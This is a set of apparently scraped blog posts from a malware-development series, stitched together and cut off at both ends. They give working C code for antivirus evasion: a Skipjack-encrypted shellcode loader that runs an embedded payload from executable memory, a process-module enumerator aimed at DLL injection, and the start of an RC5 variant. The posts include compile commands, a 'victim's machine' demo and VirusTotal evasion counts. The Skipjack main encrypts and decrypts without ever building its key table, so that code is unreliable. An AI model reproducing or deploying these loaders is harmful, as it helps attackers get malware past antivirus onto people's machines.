x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

av-evasion

And run it in the victim’s machine (windows 7 x64 in my case):

.\hack.exe

av-evasion

av-evasion

As you can see, payload (1) successfully decrypted. (2)

Also worked in windows 10 x64 v1903:

av-evasion

av-evasion

Upload our sample hack.exe to VirusTotal:

av-evasion

https://www.virustotal.com/gui/file/3a62d7b78fb812dc3d9823a248c204fcc810dcbaedd38797e83424596d028261/detection

As you can see, only 23 of 72 AV engines detect our file as malicious

Of course, this result is justified by the fact that the method of launching the shellcode is not new, also payload is generated by msfvenom.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

WAKE
AV evasion: part 1
AV evasion: part 2
Shannon entropy
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware development trick - part 36: Enumerate process modules. Simple C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

hack

Today, this post is the result of my own research on another popular malware development trick: get list of modules of target process.

Let’s say we created successfully DLL injection to process. How to check if DLL in list of modules of our process?

hack

practical example

First of all, we just use one of the methods to find target process PID. For example I used this one:

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ph,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE Newph
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return pid;
}

Then, just use Module32First and Module32Next functions from Windows API.

// function to list modules loaded by a specified process
int listModulesOfProcess(int pid) {

  HANDLE mod;
  MODULEENTRY32 me32;

  mod = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);
  if (mod == INVALID_HANDLE_VALUE) { 
    printf("CreateToolhelp32Snapshot error :(\n"); 
    return -1; 
  }

  me32.dwSize = sizeof(MODULEENTRY32); 
  if (!Module32First(mod, &me32)) {
    CloseHandle(mod);
    return -1;
  }
  
  printf("modules found:\n");
  printf("name\t\t\t base address\t\t\tsize\n");
  printf("=================================================================================\n");
  do {
    printf("%#25s\t\t%#10llx\t\t%#10d\n", me32.szModule, me32.modBaseAddr, me32.modBaseSize);
  } while (Module32Next(mod, &me32));
  CloseHandle(mod);
  return 0;
}

As you can see, the code is a bit similar to the PID search logic with CreateToolHelp32Snapshot, Process32First and Process32Next.

So, the full source code is looks like this (hack.c):

/*
 * hack.c - get the list of modules of the process. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2023/09/25/malware-tricks-36.html
*/
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <shlwapi.h>
#include <psapi.h>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "shlwapi.lib")

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ph,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE Newph
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return pid;
}

// function to list modules loaded by a specified process
int listModulesOfProcess(int pid) {

  HANDLE mod;
  MODULEENTRY32 me32;

  mod = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);
  if (mod == INVALID_HANDLE_VALUE) { 
    printf("CreateToolhelp32Snapshot error :(\n"); 
    return -1; 
  }

  me32.dwSize = sizeof(MODULEENTRY32); 
  if (!Module32First(mod, &me32)) {
    CloseHandle(mod);
    return -1;
  }
  
  printf("modules found:\n");
  printf("name\t\t\t base address\t\t\tsize\n");
  printf("=================================================================================\n");
  do {
    printf("%#25s\t\t%#10llx\t\t%#10d\n", me32.szModule, me32.modBaseAddr, me32.modBaseSize);
  } while (Module32Next(mod, &me32));
  CloseHandle(mod);
  return 0;
}

int main(int argc, char* argv[]) {
  int pid = 0; // process ID
  pid = findMyProc(argv[1]);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  if (pid != 0)
    listModulesOfProcess(pid);
  return 0;
}

You can use this code to check if a DLL is in the list of modules of the target process.

demo

Let’s go to see this logic in action.

Compile it:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lshlwapi

hack

Then, open target process in the victim’s machine:

hack

hack

And just run our hack.exe:

.\hack.exe mspaint.exe

hack

hack

hack

Also, check with DLL injection logic:

hack

As you can see, everything is worked perfectly! =^..^=

Keep in mind that this code may have limitations and dependencies on specific Windows APIs. Additionally, it relies on the process name for identification, which may not be unique.

This trick is used by 4H RAT and Aria-body in the wild.

I hope this post spreads awareness to the blue teamers of this interesting malware dev technique, and adds a weapon to the red teamers arsenal.

Find process ID by name and inject to it
Find PID via NtGetNextProcess
4H RAT
Aria-body
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware and cryptography 20: encrypt/decrypt payload via Skipjack. Simple C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

av-evasion

This post is the result of my own research on try to evasion AV engines via encrypting payload with another algorithm: Skipjack. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.

skipjack

Skipjack is a symmetric key block cipher encryption algorithm designed primarily for government use, with a focus on strong security while being computationally efficient. It was developed by the National Security Agency (NSA) in the early 1990s and was initially intended for use in various secure communications applications.

practical example

Skipjack operates on 64-bit blocks of data and uses an 80-bit key, divided into eight 10-bit words. The algorithm employs a series of permutations, substitutions, and key mixing steps to achieve its encryption and decryption. Skipjack operates on a Feistel network structure, where the data block is split into two halves and processed through multiple rounds.

The algorithm’s basic structure involves:
A key setup phase to generate round subkeys from the user-provided key.
A series of 32 rounds in which the data block undergoes various transformations using the round subkeys.
The final output is the result of the last round, which serves as the encrypted or decrypted data.

In Skipjack, the core operation is a key-dependent permutation called β€œG.” This permutation operates on 16-bit words (two bytes) and is used in the encryption and decryption processes. The G permutation is a Feistel network, meaning it uses a combination of substitutions, permutations, and key mixing to produce its output:

/**
 * The key-dependent permutation G on V^16 is a four-round Feistel network.
 * The round function is a fixed unsigned char-substitution table (permutation on V^8),
 * the F-table.  Each round of G incorporates a single unsigned char from the key.
 */
#define g(tab, w, i, j, k, l) \
{ \
  w ^= (unsigned int)tab[i][w & 0xff] << 8; \
  w ^= (unsigned int)tab[j][w >>   8]; \
  w ^= (unsigned int)tab[k][w & 0xff] << 8; \
  w ^= (unsigned int)tab[l][w >>   8]; \
}

#define g0(tab, w) g(tab, w, 0, 1, 2, 3)
#define g1(tab, w) g(tab, w, 4, 5, 6, 7)
#define g2(tab, w) g(tab, w, 8, 9, 0, 1)
#define g3(tab, w) g(tab, w, 2, 3, 4, 5)
#define g4(tab, w) g(tab, w, 6, 7, 8, 9)

/**
 * The inverse of the G permutation.
 */
#define h(tab, w, i, j, k, l) \
{ \
  w ^= (unsigned int)tab[l][w >>   8]; \
  w ^= (unsigned int)tab[k][w & 0xff] << 8; \
  w ^= (unsigned int)tab[j][w >>   8]; \
  w ^= (unsigned int)tab[i][w & 0xff] << 8; \
}

#define h0(tab, w) h(tab, w, 0, 1, 2, 3)
#define h1(tab, w) h(tab, w, 4, 5, 6, 7)
#define h2(tab, w) h(tab, w, 8, 9, 0, 1)
#define h3(tab, w) h(tab, w, 2, 3, 4, 5)
#define h4(tab, w) h(tab, w, 6, 7, 8, 9)

Then, define a function named makeKey that is used to preprocess a user key and create a table of values:

/**
 * Preprocess a user key into a table to save an XOR at each F-table access.
 */
void makeKey(unsigned char key[10], unsigned char tab[10][256]) {
  /* tab[i][c] = fTable[c ^ key[i]] */
  int i;
  for (i = 0; i < 10; i++) {
    unsigned char *t = tab[i], k = key[i];
    int c;
    for (c = 0; c < 256; c++) {
      t[c] = fTable[c ^ k];
    }
  }
}

Subsequently, we implement the encryption process for a single block of data:

/**
 * Encrypt a single block of data.
 */
void encrypt(unsigned char tab[10][256], unsigned char in[8], unsigned char out[8]) {
  unsigned int w1, w2, w3, w4;

  w1 = (in[0] << 8) + in[1];
  w2 = (in[2] << 8) + in[3];
  w3 = (in[4] << 8) + in[5];
  w4 = (in[6] << 8) + in[7];

  /* stepping rule A: */
  g0(tab, w1); w4 ^= w1 ^ 1;
  g1(tab, w4); w3 ^= w4 ^ 2;
  g2(tab, w3); w2 ^= w3 ^ 3;
  g3(tab, w2); w1 ^= w2 ^ 4;
  g4(tab, w1); w4 ^= w1 ^ 5;
  g0(tab, w4); w3 ^= w4 ^ 6;
  g1(tab, w3); w2 ^= w3 ^ 7;
  g2(tab, w2); w1 ^= w2 ^ 8;

  /* stepping rule B: */
  w2 ^= w1 ^  9; g3(tab, w1);
  w1 ^= w4 ^ 10; g4(tab, w4);
  w4 ^= w3 ^ 11; g0(tab, w3);
  w3 ^= w2 ^ 12; g1(tab, w2);
  w2 ^= w1 ^ 13; g2(tab, w1);
  w1 ^= w4 ^ 14; g3(tab, w4);
  w4 ^= w3 ^ 15; g4(tab, w3);
  w3 ^= w2 ^ 16; g0(tab, w2);

  /* stepping rule A: */
  g1(tab, w1); w4 ^= w1 ^ 17;
  g2(tab, w4); w3 ^= w4 ^ 18;
  g3(tab, w3); w2 ^= w3 ^ 19;
  g4(tab, w2); w1 ^= w2 ^ 20;
  g0(tab, w1); w4 ^= w1 ^ 21;
  g1(tab, w4); w3 ^= w4 ^ 22;
  g2(tab, w3); w2 ^= w3 ^ 23;
  g3(tab, w2); w1 ^= w2 ^ 24;

  /* stepping rule B: */
  w2 ^= w1 ^ 25; g4(tab, w1);
  w1 ^= w4 ^ 26; g0(tab, w4);
  w4 ^= w3 ^ 27; g1(tab, w3);
  w3 ^= w2 ^ 28; g2(tab, w2);
  w2 ^= w1 ^ 29; g3(tab, w1);
  w1 ^= w4 ^ 30; g4(tab, w4);
  w4 ^= w3 ^ 31; g0(tab, w3);
  w3 ^= w2 ^ 32; g1(tab, w2);

  out[0] = (unsigned char)(w1 >> 8); out[1] = (unsigned char)w1;
  out[2] = (unsigned char)(w2 >> 8); out[3] = (unsigned char)w2;
  out[4] = (unsigned char)(w3 >> 8); out[5] = (unsigned char)w3;
  out[6] = (unsigned char)(w4 >> 8); out[7] = (unsigned char)w4;

}

So, full source code for encryption and decryption our meow-meow payload is looks like this:

/* 
 * hack.c
 * optimized implementation of SKIPJACK algorithm
 * originally written by Panu Rissanen <[email protected]> 1998.06.24
 * optimized by Mark Tillotson <[email protected]> 1998.06.25
 * optimized by Paulo Barreto <[email protected]> 1998.06.30
 * The F-table unsigned char permutation (see description of the G-box permutation)
 * malware cryptography part 20. Encrypt/decrypt payload via SKIPJACK. C implementation
 * author: @cocomelonc 2023.08.28
 * https://cocomelonc.github.io/malware/2023/08/28/malware-cryptography-20.html
 */
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <windows.h>

static const unsigned char fTable[256] = { 
  0xa3,0xd7,0x09,0x83,0xf8,0x48,0xf6,0xf4,0xb3,0x21,0x15,0x78,0x99,0xb1,0xaf,0xf9,
  0xe7,0x2d,0x4d,0x8a,0xce,0x4c,0xca,0x2e,0x52,0x95,0xd9,0x1e,0x4e,0x38,0x44,0x28,
  0x0a,0xdf,0x02,0xa0,0x17,0xf1,0x60,0x68,0x12,0xb7,0x7a,0xc3,0xe9,0xfa,0x3d,0x53,
  0x96,0x84,0x6b,0xba,0xf2,0x63,0x9a,0x19,0x7c,0xae,0xe5,0xf5,0xf7,0x16,0x6a,0xa2,
  0x39,0xb6,0x7b,0x0f,0xc1,0x93,0x81,0x1b,0xee,0xb4,0x1a,0xea,0xd0,0x91,0x2f,0xb8,
  0x55,0xb9,0xda,0x85,0x3f,0x41,0xbf,0xe0,0x5a,0x58,0x80,0x5f,0x66,0x0b,0xd8,0x90,
  0x35,0xd5,0xc0,0xa7,0x33,0x06,0x65,0x69,0x45,0x00,0x94,0x56,0x6d,0x98,0x9b,0x76,
  0x97,0xfc,0xb2,0xc2,0xb0,0xfe,0xdb,0x20,0xe1,0xeb,0xd6,0xe4,0xdd,0x47,0x4a,0x1d,
  0x42,0xed,0x9e,0x6e,0x49,0x3c,0xcd,0x43,0x27,0xd2,0x07,0xd4,0xde,0xc7,0x67,0x18,
  0x89,0xcb,0x30,0x1f,0x8d,0xc6,0x8f,0xaa,0xc8,0x74,0xdc,0xc9,0x5d,0x5c,0x31,0xa4,
  0x70,0x88,0x61,0x2c,0x9f,0x0d,0x2b,0x87,0x50,0x82,0x54,0x64,0x26,0x7d,0x03,0x40,
  0x34,0x4b,0x1c,0x73,0xd1,0xc4,0xfd,0x3b,0xcc,0xfb,0x7f,0xab,0xe6,0x3e,0x5b,0xa5,
  0xad,0x04,0x23,0x9c,0x14,0x51,0x22,0xf0,0x29,0x79,0x71,0x7e,0xff,0x8c,0x0e,0xe2,
  0x0c,0xef,0xbc,0x72,0x75,0x6f,0x37,0xa1,0xec,0xd3,0x8e,0x62,0x8b,0x86,0x10,0xe8,
  0x08,0x77,0x11,0xbe,0x92,0x4f,0x24,0xc5,0x32,0x36,0x9d,0xcf,0xf3,0xa6,0xbb,0xac,
  0x5e,0x6c,0xa9,0x13,0x57,0x25,0xb5,0xe3,0xbd,0xa8,0x3a,0x01,0x05,0x59,0x2a,0x46
};

/**
 * The key-dependent permutation G on V^16 is a four-round Feistel network.
 * The round function is a fixed unsigned char-substitution table (permutation on V^8),
 * the F-table.  Each round of G incorporates a single unsigned char from the key.
 */
#define g(tab, w, i, j, k, l) \
{ \
  w ^= (unsigned int)tab[i][w & 0xff] << 8; \
  w ^= (unsigned int)tab[j][w >>   8]; \
  w ^= (unsigned int)tab[k][w & 0xff] << 8; \
  w ^= (unsigned int)tab[l][w >>   8]; \
}

#define g0(tab, w) g(tab, w, 0, 1, 2, 3)
#define g1(tab, w) g(tab, w, 4, 5, 6, 7)
#define g2(tab, w) g(tab, w, 8, 9, 0, 1)
#define g3(tab, w) g(tab, w, 2, 3, 4, 5)
#define g4(tab, w) g(tab, w, 6, 7, 8, 9)

/**
 * The inverse of the G permutation.
 */
#define h(tab, w, i, j, k, l) \
{ \
  w ^= (unsigned int)tab[l][w >>   8]; \
  w ^= (unsigned int)tab[k][w & 0xff] << 8; \
  w ^= (unsigned int)tab[j][w >>   8]; \
  w ^= (unsigned int)tab[i][w & 0xff] << 8; \
}

#define h0(tab, w) h(tab, w, 0, 1, 2, 3)
#define h1(tab, w) h(tab, w, 4, 5, 6, 7)
#define h2(tab, w) h(tab, w, 8, 9, 0, 1)
#define h3(tab, w) h(tab, w, 2, 3, 4, 5)
#define h4(tab, w) h(tab, w, 6, 7, 8, 9)

/**
 * Preprocess a user key into a table to save an XOR at each F-table access.
 */
void makeKey(unsigned char key[10], unsigned char tab[10][256]) {
  /* tab[i][c] = fTable[c ^ key[i]] */
  int i;
  for (i = 0; i < 10; i++) {
    unsigned char *t = tab[i], k = key[i];
    int c;
    for (c = 0; c < 256; c++) {
      t[c] = fTable[c ^ k];
    }
  }
}

/**
 * Encrypt a single block of data.
 */
void encrypt(unsigned char tab[10][256], unsigned char in[8], unsigned char out[8]) {
  unsigned int w1, w2, w3, w4;

  w1 = (in[0] << 8) + in[1];
  w2 = (in[2] << 8) + in[3];
  w3 = (in[4] << 8) + in[5];
  w4 = (in[6] << 8) + in[7];

  /* stepping rule A: */
  g0(tab, w1); w4 ^= w1 ^ 1;
  g1(tab, w4); w3 ^= w4 ^ 2;
  g2(tab, w3); w2 ^= w3 ^ 3;
  g3(tab, w2); w1 ^= w2 ^ 4;
  g4(tab, w1); w4 ^= w1 ^ 5;
  g0(tab, w4); w3 ^= w4 ^ 6;
  g1(tab, w3); w2 ^= w3 ^ 7;
  g2(tab, w2); w1 ^= w2 ^ 8;

  /* stepping rule B: */
  w2 ^= w1 ^  9; g3(tab, w1);
  w1 ^= w4 ^ 10; g4(tab, w4);
  w4 ^= w3 ^ 11; g0(tab, w3);
  w3 ^= w2 ^ 12; g1(tab, w2);
  w2 ^= w1 ^ 13; g2(tab, w1);
  w1 ^= w4 ^ 14; g3(tab, w4);
  w4 ^= w3 ^ 15; g4(tab, w3);
  w3 ^= w2 ^ 16; g0(tab, w2);

  /* stepping rule A: */
  g1(tab, w1); w4 ^= w1 ^ 17;
  g2(tab, w4); w3 ^= w4 ^ 18;
  g3(tab, w3); w2 ^= w3 ^ 19;
  g4(tab, w2); w1 ^= w2 ^ 20;
  g0(tab, w1); w4 ^= w1 ^ 21;
  g1(tab, w4); w3 ^= w4 ^ 22;
  g2(tab, w3); w2 ^= w3 ^ 23;
  g3(tab, w2); w1 ^= w2 ^ 24;

  /* stepping rule B: */
  w2 ^= w1 ^ 25; g4(tab, w1);
  w1 ^= w4 ^ 26; g0(tab, w4);
  w4 ^= w3 ^ 27; g1(tab, w3);
  w3 ^= w2 ^ 28; g2(tab, w2);
  w2 ^= w1 ^ 29; g3(tab, w1);
  w1 ^= w4 ^ 30; g4(tab, w4);
  w4 ^= w3 ^ 31; g0(tab, w3);
  w3 ^= w2 ^ 32; g1(tab, w2);

  out[0] = (unsigned char)(w1 >> 8); out[1] = (unsigned char)w1;
  out[2] = (unsigned char)(w2 >> 8); out[3] = (unsigned char)w2;
  out[4] = (unsigned char)(w3 >> 8); out[5] = (unsigned char)w3;
  out[6] = (unsigned char)(w4 >> 8); out[7] = (unsigned char)w4;

}

/**
 * Decrypt a single block of data.
 */
void decrypt(unsigned char tab[10][256], unsigned char in[8], unsigned char out[8]) {
  unsigned int w1, w2, w3, w4;

  w1 = (in[0] << 8) + in[1];
  w2 = (in[2] << 8) + in[3];
  w3 = (in[4] << 8) + in[5];
  w4 = (in[6] << 8) + in[7];

  /* stepping rule A: */
  h1(tab, w2); w3 ^= w2 ^ 32;
  h0(tab, w3); w4 ^= w3 ^ 31;
  h4(tab, w4); w1 ^= w4 ^ 30;
  h3(tab, w1); w2 ^= w1 ^ 29;
  h2(tab, w2); w3 ^= w2 ^ 28;
  h1(tab, w3); w4 ^= w3 ^ 27;
  h0(tab, w4); w1 ^= w4 ^ 26;
  h4(tab, w1); w2 ^= w1 ^ 25;

  /* stepping rule B: */
  w1 ^= w2 ^ 24; h3(tab, w2);
  w2 ^= w3 ^ 23; h2(tab, w3);
  w3 ^= w4 ^ 22; h1(tab, w4);
  w4 ^= w1 ^ 21; h0(tab, w1);
  w1 ^= w2 ^ 20; h4(tab, w2);
  w2 ^= w3 ^ 19; h3(tab, w3);
  w3 ^= w4 ^ 18; h2(tab, w4);
  w4 ^= w1 ^ 17; h1(tab, w1);

  /* stepping rule A: */
  h0(tab, w2); w3 ^= w2 ^ 16;
  h4(tab, w3); w4 ^= w3 ^ 15;
  h3(tab, w4); w1 ^= w4 ^ 14;
  h2(tab, w1); w2 ^= w1 ^ 13;
  h1(tab, w2); w3 ^= w2 ^ 12;
  h0(tab, w3); w4 ^= w3 ^ 11;
  h4(tab, w4); w1 ^= w4 ^ 10;
  h3(tab, w1); w2 ^= w1 ^  9;

  /* stepping rule B: */
  w1 ^= w2 ^ 8; h2(tab, w2);
  w2 ^= w3 ^ 7; h1(tab, w3);
  w3 ^= w4 ^ 6; h0(tab, w4);
  w4 ^= w1 ^ 5; h4(tab, w1);
  w1 ^= w2 ^ 4; h3(tab, w2);
  w2 ^= w3 ^ 3; h2(tab, w3);
  w3 ^= w4 ^ 2; h1(tab, w4);
  w4 ^= w1 ^ 1; h0(tab, w1);

  out[0] = (unsigned char)(w1 >> 8); out[1] = (unsigned char)w1;
  out[2] = (unsigned char)(w2 >> 8); out[3] = (unsigned char)w2;
  out[4] = (unsigned char)(w3 >> 8); out[5] = (unsigned char)w3;
  out[6] = (unsigned char)(w4 >> 8); out[7] = (unsigned char)w4;

}

void encryptData(unsigned char tab[10][256], unsigned char *in, unsigned char *out, int length) {
  int numBlocks = length / 8;
  for (int i = 0; i < numBlocks; i++) {
    encrypt(tab, in + (i * 8), out + (i * 8));
  }
}

void decryptData(unsigned char tab[10][256], unsigned char *in, unsigned char *out, int length) {
  int numBlocks = length / 8;
  for (int i = 0; i < numBlocks; i++) {
    decrypt(tab, in + (i * 8), out + (i * 8));
  }
}

int main() {
  unsigned char data[] = {
    0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0, 0x0, 0x41, 0x51, 0x41,
    0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52,
    0x18, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
    0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2, 0x2c, 0x20, 0x41, 0xc1,
    0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e,
    0x8b, 0x42, 0x3c, 0x48, 0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
    0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44, 0x8b, 0x40, 0x20, 0x49,
    0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d,
    0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
    0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6, 0x58, 0x3e, 0x44, 0x8b,
    0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41, 0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c,
    0x49, 0x1, 0xd0, 0x3e, 0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
    0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
    0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12, 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7,
    0xc1, 0x0, 0x0, 0x0, 0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d, 0x85,
    0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83, 0x56, 0x7, 0xff, 0xd5, 0x48,
    0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d,
    0x65, 0x6f, 0x77, 0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
  };
  unsigned char key[10]  = { 0x00, 0x99, 0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11 };
  unsigned char tab[10][256];

  // pad data to 8 bytes
  int dataSize = sizeof(data);
  int paddedDataSize = (dataSize / 8 + 1) * 8;
  unsigned char paddedData[paddedDataSize];

  memcpy(paddedData, data, dataSize);
  memset(paddedData + dataSize, 0, paddedDataSize - dataSize);

  unsigned char encryptedData[paddedDataSize];
  unsigned char decryptedData[paddedDataSize];

  printf("Original data:\n");
  for (int i = 0; i < paddedDataSize; i++) {
    printf("%02x ", paddedData[i]);
  }
  printf("\n");

  encryptData(tab, paddedData, encryptedData, paddedDataSize);

  printf("Encrypted data:\n");
  for (int i = 0; i < paddedDataSize; i++) {
    printf("%02x ", encryptedData[i]);
  }
  printf("\n");

  decryptData(tab, encryptedData, decryptedData, paddedDataSize);

  printf("Decrypted data:\n");
  for (int i = 0; i < paddedDataSize; i++) {
    printf("%02x ", decryptedData[i]);
  }
  printf("\n");

  LPVOID mem = VirtualAlloc(NULL, paddedDataSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, decryptedData, paddedDataSize);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);

  return 0;
}

Printing operations is just for checking correctness of implementation.

demo

Let’s go see it in action.

Compile it:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

av-evasion

And run it in the victim’s machine (windows 7 x64 in my case):

.\hack.exe

av-evasion

av-evasion

As you can see, payload (1) successfully decrypted. (2)

Also worked in windows 10 x64 v1903:

av-evasion

Upload our sample hack.exe to VirusTotal:

av-evasion

https://www.virustotal.com/gui/file/442ce91c146901285ec02713f0c9e81065d037163351c38e8d169e77920fbe11/detection

As you can see, only 21 of 71 AV engines detect our file as malicious

Shannon entropy:

av-evasion

Of course, this result is justified by the fact that the method of launching the shellcode is not new, you can simply update the code of our PoC and implement only the decryption logic.

The Skipjack algorithm is known for its simplicity and efficiency in terms of both hardware and software implementations. It was designed with a focus on security and was intended for use in various applications, including government communications.

Skipjack gained some notoriety due to its association with the Clipper chip initiative, a controversial cryptographic technology proposed by the U.S. government. The Clipper chip was designed to provide strong encryption while ensuring that law enforcement could still gain access to encrypted communications when authorized by a court order. =^..^=

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

Skipjack
AV evasion: part 1
AV evasion: part 2
Shannon entropy
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware and cryptography 1: encrypt/decrypt payload via RC5. Simple C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

av-evasion

I decided to slightly rename the series of posts where I used crypto algorithms. This post is the result of my own research on try to evasion AV engines via encrypting payload with another logic: RC5. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.

RC5

The RC5 algorithm is a symmetric key block cipher encryption algorithm designed by Ronald Rivest in 1994. It was developed as a response to the need for a fast and efficient encryption algorithm that could provide strong security. The name β€œRC5” stands for β€œRivest Cipher 5,” indicating that it’s the fifth cipher developed by Ronald Rivest.

Here are the steps of RC5 encryption:

Initialize the key schedule array S with values based on the key. For simplicity, let’s assume a 128-bit (16-byte) key:

uint32_t S[26];
uint32_t key[4] = {/* key */};
int rounds = 12;

S[0] = 0xb7e15163; // Magic constants
for (int i = 1; i < 26; i++) {
  S[i] = S[i - 1] + 0x9e3779b9; // Magic constants
}

Divide the plaintext block into two words A and B:

uint32_t A = plaintext[0];
uint32_t B = plaintext[1];

Perform a series of encryption rounds. Each round consists of the following steps:

for (int i = 0; i < rounds; i++) {
  A = (A + S[2*i]) ^ ((B + S[2*i + 1]) << (B % 32));
  B = (B + S[2*i + 1]) ^ ((A + S[2*i]) << (A % 32));
}

After all rounds, perform a final mixing step:

A = A + S[2*rounds];
B = B + S[2*rounds + 1];

And the encrypted ciphertext is formed by concatenating the values of A and B:

ciphertext[0] = A;
ciphertext[1] = B;

practical example

For simplicity, I just implemented 12-round encryption:

void encrypt(uint32_t S[26], uint32_t inout[4]) {
  for (uint32_t i = 0; i < 4; i += 2) {
    uint32_t A = inout[i];
    uint32_t B = inout[i+1];
    A += S[0];
    B += S[1];
    for (int j = 0; j < 12; ++j) {
      A = rotate_left((A ^ B), B) + S[2 * i];
      B = rotate_left((B ^ A), A) + S[2 * i + 1];
    }
    inout[i] = A;
    inout[i+1] = B;
  }
}

and decryption:

void decrypt(uint32_t S[26], uint32_t inout[4]) {
  for (uint32_t i = 0; i < 4; i += 2) {
    uint32_t A = inout[i];
    uint32_t B = inout[i+1];
    for (int j = 12; j > 0; --j) {
      B = rotate_right(B - S[2 * i + 1], A) ^ A;
      A = rotate_right(A - S[2 * i], B) ^ B;
    }
    B -= S[1];
    A -= S[0];
    inout[i] = A;
    inout[i+1] = B;
  }
}

Where the rotate_left and rotate_right functions are looks like this:

uint32_t rotate_left(uint32_t v, uint32_t n) {
